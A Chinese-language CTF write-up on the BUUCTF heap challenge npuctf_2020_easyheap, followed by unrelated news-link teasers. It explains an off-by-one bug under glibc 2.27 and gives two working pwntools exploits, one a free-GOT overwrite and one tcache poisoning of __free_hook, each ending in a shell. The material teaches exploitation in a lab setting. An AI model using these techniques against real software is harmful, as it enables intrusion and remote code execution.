buuctf--npuctf_2020_easyheap
这道题可以说是第一道glibc 2.27的堆题与2.23不同因为glibc2.27引入了tcache,当我们释放一个chunk他会进入tcache里面分配和释放的方式都不一样接着来看一下这个题首先查看一下文件相关保护这里发现之开启了canary和NX,没用开RELRO所以这里got表是可写的接着将这个文件丢到ida64里面进行查看很经典的一个菜单题接着从create入手来分析这个结构首先第10行一个遍历查看当前哪一个位置是空的从而当作一个可以被申请的位置14行进行申请0x10的chunk这里这个chunk的地址就是写入在这个(heaparrayi)的位置然后26行表示这里0x10的这个chunk的后8字节用来存储我们申请chunk的地址前面8字节用来存储对应chunk的大小。然后34行就是对我们申请的chunk进行写数据。这个函数就是申请两个chunk一个0x10,一个我们自己输入的并且只能是0x18和0x38.然后这个0x10这个chunk就是用来描述我们申请的chunk的。接着看到edit函数这里edit函数存在一个off by one的漏洞我们可以通过多写入一个字节从而修改与这个chunk相邻的下一个chunk的size字段从而释放进入我们想要的tcache bin里面。这里show函数18行是根据这个0x10的chunk的第二个8字节来输出内容这里可以将这个改为got函数地址从而泄露libc的基址free函数就是将我们申请的下标置0然后释放0x10的chunk释放我们申请的chunk,但是这里是我们申请的chunk先释放然后后释放0x10这个chunk。但是这里将0x10这个chunk置0了所以不存在uaf漏洞。这里的攻击思路就是先申请然后利用off by one漏洞来修改下一个chunk的大小然后释放下一个chunk再申请接着写入got函数地址。首先先来为每一个功能写一个辅助函数如下def menu(choice): r.recvuntil(bYour choice :) r.sendline(str(choice).encode()) def add(size,content): menu(1) r.recvuntil(bSize of Heap(0x10 or 0x20 only) : ) r.sendline(str(size).encode()) r.recvuntil(bContent:) r.send(content) def edit(index, content): menu(2) r.recvuntil(bIndex :) r.sendline(str(index).encode()) # r.recvuntil(btext length: ) # r.sendline(str(size).encode()) r.recvuntil(bContent: ) r.send(content) def show(index): #输出堆块大小和数据 menu(3) r.recvuntil(bIndex :) r.sendline(str(index).encode()) # r.recvuntil(bContent: \n) def free(index): #先释放我们申请的后释放0x10,并且我们申请的不会置为0 menu(4) r.recvuntil(bIndex :) r.sendline(str(index).encode())写好了之后应该就可以写出下面这样的代码add(0x18,bgaoshou) #下标为0 add(0x18,bgaoshou) #下标为1 payloadba*0x18b\x41 #通过off by one漏洞将下一个特征chunk的大小改为0x21从0x21变成0x41 edit(0,payload) free(1) #释放是先释放我们申请的然后释放那个特征chunk,这里释放之后tcache里面是一个0x20有一个0x40有一个0x20是我们申请的那个chunk,0x40是create函数帮我们申请的0x10对应的chunk add(0x38,bgaoshou) #这里先申请0x10,然后申请0x38这样0x38这个chunk的后面0x20就刚好覆盖了这个0x10这个chunk,从而可以将got函数写入我们的特征chunk payload1ba*0x18p64(0x21)p64(0x40)p64(elf.got[free]) edit(1,payload1) show(1) #这里show就会将free函数的got地址里面的值输出从而可以利用这个泄露libc的基址这里泄露出libc基址之后将free函数改为system函数接着free(/bin/sh)触发getshell,这里就是因为RELRO保护没有开所以就可以通过复写函数从而getshell最后得到poc:r remote(node5.buuoj.cn, 29075) libcELF(rC:\Users\lezho\Desktop\My_CTF\PWN!!!\libc库\buuctf-amd64\libc-2.27.so) elfELF(rC:\Users\lezho\Desktop\misc\npuctf_2020_easyheap) add(0x18,bgaoshou) add(0x18,bgaoshou) add(0x18,b/bin/sh\x00) payloadba*0x18b\x41 edit(0,payload) free(1) add(0x38,bgaoshou) #下标为1申请的0x38完全覆盖下面的0x21chunk头节点在下 payload1ba*0x18p64(0x21)p64(0x40)p64(elf.got[free]) edit(1,payload1) show(1) r.recvuntil(b\nContent : ) leaku64(r.recv(6).ljust(8,b\x00)) print(hex(leak)) libc.addressleak-libc.symbols[free] print(hex(libc.address)) edit(1,p64(libc.symbols[system])) #将free函数改为system函数 free(2) r.interactive()这里攻击可以实现就是因为RELRO保护没有开这里如果开了这个保护就不能这么干了那么这里就可以换一种攻击也就是glibc2.27最经典的tcache dup。通过将一个tcache里面bin的fd改为free_hook然后将system这个函数地址写入free_hook,最后system(/bin/sh) get shellr remote(node5.buuoj.cn, 29075) libcELF(rC:\Users\lezho\Desktop\My_CTF\PWN!!!\libc库\buuctf-amd64\libc-2.27.so) elfELF(rC:\Users\lezho\Desktop\misc\npuctf_2020_easyheap) add(0x18,bgaoshou) add(0x18,bgaoshou) add(0x18,b/bin/sh\x00) payloadba*0x18b\x41 edit(0,payload) free(1) add(0x38,bgaoshou) #下标为1申请的0x38完全覆盖下面的0x21chunk头节点在下 payload1ba*0x18p64(0x21)p64(0x40)p64(elf.got[free])p64(0)b\x41 edit(1,payload1) show(1) r.recvuntil(b\nContent : ) leaku64(r.recv(6).ljust(8,b\x00)) print(hex(leak)) libc.addressleak-libc.symbols[free] print(hex(libc.address)) free_hooklibc.symbols[__free_hook] system_addrlibc.symbols[system] free(2) #将2进行释放 释放之后bin里面有一个0x41的chunk和一个0x21的chunk free(0) #将0释放bin里面会多2个0x20的chunk add(0x38,bgaoshou) #下标为0 add(0x38,b/bin/sh\x00) #申请之后bin里面只有一个0x21的chunk刚好是上面的0x41chunk的下半截 payload2ba*0x18p64(0x21)p64(free_hook) edit(0,payload2) add(0x18,p64(system_addr)) #在free_hook里面写下system函数 free(2) #free触发攻击 r.interactive()这个攻击就是先泄露libc的基址然后再次利用off by one的漏洞实现空间重叠然后payload2修改释放进入tcache里面的chunk的fd,然后两次申请最后将system_addr写入free_hook。最后触发这个后面这个poc应该是通用的可以绕过RELRO这个保护

相关新闻

12.Python异常

12.Python异常

Python异常处理完全指南:从基础语法到高级技巧异常处理是Python编程中至关重要的概念,它允许程序在遇到错误时优雅地恢复或提供有用的错误信息。本文将基于提供的代码文档,全面讲解Python异常处理的核心机制和最佳实践。1. 常见的Python异常类…

2026/7/6 14:13:36 阅读更多 →
引入AI辅助的3D游戏美术工作流

引入AI辅助的3D游戏美术工作流

不同于其他类型的AI应用,3D内容的AI生成应用所面向的行业更加垂直,会有一定的专业使用门槛,并且生成的产物与直接投入生产环境的内容往往还存在一定的距离。笔者这里针对小型独立游戏/Demo的场景下,为提高3D游戏美术工作效率和降低…

2026/7/6 12:31:46 阅读更多 →
ZOOM为啥不稳定,经常断线,或者听不到对方声音,看不到对方图像,到底为啥?

ZOOM为啥不稳定,经常断线,或者听不到对方声音,看不到对方图像,到底为啥?

ZOOM为啥不稳定,经常断线,或者听不到对方声音,看不到对方图像,到底为啥?

2026/7/5 3:58:11 阅读更多 →

最新新闻

AI进入下半场:模型不再稀缺,真正稀缺的是算力、场景和信任

AI进入下半场:模型不再稀缺,真正稀缺的是算力、场景和信任

过去一年,AI行业最显著的变化,是判断AI进展的方式变了。过去一年,AI行业最显著的变化,是判断AI进展的方式变了。 在更长一段时间里,外界习惯用参数规模、榜单排名、融资金额和产品发布节奏来理解AI。但进入2025年后&a…

2026/7/6 14:13:10 阅读更多 →
踩坑半年总结:C#部署YOLO最容易忽略的8个工业级细节

踩坑半年总结:C#部署YOLO最容易忽略的8个工业级细节

前言 网上关于C#部署YOLO的教程铺天盖地,但90%都停留在“跑通Demo”的阶段。真正把模型塞进产线、扛住724小时运行、应对各种边缘Case后,你才会发现:能跑和能用之间,隔着一整条护城河。 本文不讲基础环境搭建,只聊我在过去半年工业落地中用血泪换来的8个细节。每一个都是深…

2026/7/6 14:11:07 阅读更多 →
【VTG】T2SGrid: Temporal-to-Spatial Gridification for VTG

【VTG】T2SGrid: Temporal-to-Spatial Gridification for VTG

note T2SGrid 的最大贡献在于范式创新:它没有直接设计复杂的时间模块,而是巧妙地借用了视觉大模型原生的空间注意力机制,将时间流转化为空间网格。把视频多帧拼成一张网格图(把视频 clip 拼成网格图),让普…

2026/7/6 14:11:07 阅读更多 →
Auto memory,把 Claude Code 从临时搭档变成项目老同事

Auto memory,把 Claude Code 从临时搭档变成项目老同事

最近在研究 Claude Code 的记忆机制时,我一直觉得 Auto memory 这个功能被低估了。很多人把 Claude Code 当成一个会写代码、能跑命令、能改文件的终端助手,但真正把它和普通聊天式编程助手拉开距离的地方,不只是它能操作代码仓库,而是它可以在一次次会话之间沉淀项目经验。…

2026/7/6 14:09:05 阅读更多 →
多设备传动改造:盖茨工业皮带的工程应用经验复盘

多设备传动改造:盖茨工业皮带的工程应用经验复盘

摘要工厂多类型设备同步开展传动系统技改时,普遍存在工况混杂、传动结构差异化大、原有传动故障根源复杂、改造标准不统一等工程难题。大量现场技改数据统计,85% 以上改造后皮带仍短期失效,并非配件本体性能不足,而是前期故障诊断…

2026/7/6 14:09:05 阅读更多 →
CP-ABE代理重加密与混合检测技术构建动态数据安全闭环

CP-ABE代理重加密与混合检测技术构建动态数据安全闭环

1. 项目概述:当数据安全遇上智能防御 最近在梳理一些前沿的数据安全与网络防御方案时,一个组合技术方案引起了我的注意,那就是“密文策略属性基代理重加密”与“应用层攻击混合检测技术”的结合。这听起来像是一串复杂的技术名词堆砌&#xf…

2026/7/6 14:07:03 阅读更多 →

日新闻

H2 与 MySQL 单元测试兼容性:5 个关键 SQL 语句差异与规避方案

H2 与 MySQL 单元测试兼容性:5 个关键 SQL 语句差异与规避方案

H2与MySQL单元测试兼容性:5个关键SQL语句差异与规避方案1. 单元测试中的数据库兼容性挑战在Java开发领域,单元测试是保证代码质量的重要环节。当应用涉及数据库操作时,测试环境的搭建往往成为开发者的痛点。H2数据库因其轻量级、内存模式和快…

2026/7/6 0:01:17 阅读更多 →
Windows任务栏终极清理指南:用RBTray一键隐藏窗口到系统托盘

Windows任务栏终极清理指南:用RBTray一键隐藏窗口到系统托盘

Windows任务栏终极清理指南:用RBTray一键隐藏窗口到系统托盘 【免费下载链接】rbtray A fork of RBTray from http://sourceforge.net/p/rbtray/code/. 项目地址: https://gitcode.com/gh_mirrors/rb/rbtray 你是否厌倦了Windows任务栏上密密麻麻的图标&…

2026/7/6 0:01:17 阅读更多 →
Visual C++ 运行时库一键安装终极指南:告别DLL缺失烦恼

Visual C++ 运行时库一键安装终极指南:告别DLL缺失烦恼

Visual C 运行时库一键安装终极指南:告别DLL缺失烦恼 【免费下载链接】vcredist AIO Repack for latest Microsoft Visual C Redistributable Runtimes 项目地址: https://gitcode.com/gh_mirrors/vc/vcredist 你是否曾经遇到过这样的情况:下载了…

2026/7/6 0:05:19 阅读更多 →

周新闻

B站视频下载神器BiliTools:5分钟学会轻松保存任何B站内容

B站视频下载神器BiliTools:5分钟学会轻松保存任何B站内容

B站视频下载神器BiliTools:5分钟学会轻松保存任何B站内容 【免费下载链接】BiliTools A cross-platform bilibili toolbox. 跨平台哔哩哔哩工具箱,支持下载视频、番剧等等各类资源 项目地址: https://gitcode.com/GitHub_Trending/bilit/BiliTools …

2026/7/6 8:11:50 阅读更多 →
威胁模型全解析:从新手入门到实战应用,助你构建安全产品!

威胁模型全解析:从新手入门到实战应用,助你构建安全产品!

威胁模型的陌生现状在忙碌疲惫的一天里,参与了关于混合后量子密码学的讨论,应付端点攻击找茬的人,还参与留言板讨论后,发现“威胁模型”对多数人仍是陌生概念,且多被当作时髦用语。有趣的相关画作有一幅由 Embyr 创作的…

2026/7/6 8:11:52 阅读更多 →
渗透测试入门指南:从零基础到实战环境搭建

渗透测试入门指南:从零基础到实战环境搭建

1. 从“看热闹”到“入门”:我理解的渗透测试到底是什么?每次看到新闻里说某个大公司的数据被“黑”了,或者某个网站被攻击导致服务瘫痪,你是不是和我一样,心里会冒出两个念头:一是“这黑客真厉害”&#x…

2026/7/6 6:52:56 阅读更多 →

月新闻